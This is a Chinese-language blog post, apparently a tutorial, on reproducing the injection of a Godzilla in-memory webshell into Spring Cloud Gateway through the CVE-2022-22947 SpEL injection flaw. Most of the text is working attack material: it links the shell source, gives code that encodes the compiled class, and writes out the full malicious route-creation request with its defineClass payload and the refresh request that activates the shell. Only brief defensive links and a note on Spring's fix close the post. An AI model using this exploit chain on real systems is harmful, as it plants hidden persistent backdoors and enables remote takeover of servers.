春季云网关注入哥斯拉 内存马复制
原文链接:https://mp.weixin.qq.com/s/2wKB3jACAkIiIZ96tVb5fA
1)首先为了方便,我搞了一个springboot项目,package的名字为 com.example
2)编译代码到class文件
https://github.com/k4n5ha0/cve-2022-22947-godzilla-memshell/blob/main/GMemShell.java
将原文的以上代码修改第一行package为:
package com.example;
并执行该springboot项目,得到class文件(也可以先改改密码什么的,再编译得到class文件)
3)加载class文件并输出为字符串类型,方便后期注入内存_马
把上一步得到的class文件放到项目根文件夹中(idea默认加载目录为maven根目录)
然后在springboot的main函数中获得class的字符串内容
String s = org.springframework.util.Base64Utils.encodeToString(FileReaderUtils.readOnce("GMemShell.class"));
System.out.println("---");
System.out.println(s);
System.out.println("---");
把输出的字符串在 --- 之间的复制出来就是我们需要的注入的字符串
4)注入一个名为gmem的内存_马
4.1)url路径对应修改2处gmem关键词
4.2)注意要将类名依照实际情况写为 com.example.GMemShell 才能正常注入
最终请求修正为:
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 11039
{
"predicates":[{"name": "Path",
"args":{"_genkey_0":"/gmem/**"}
}
],
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('com.example.GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('base64编码后的内存马粘贴到此处'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/gmem')}"
}
}],
"uri": "http://test.com"
}
5)刷新,注入的内存_马就会生效
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 0
注意!上面这个请求别忘记http以2个\r\n结尾,所以不要忘记最后需要空一行!
6)检验
防御信息:
https://www.oschina.net/news/233869
https://github.com/spring-projects/spring-framework/commit/ebc82654282bda547fbc20a9749ab1bda886a46f
spring已经限制spel表达式最长为10000个字符
禁止转载
上一篇: 接受功能的工作原理
推荐阅读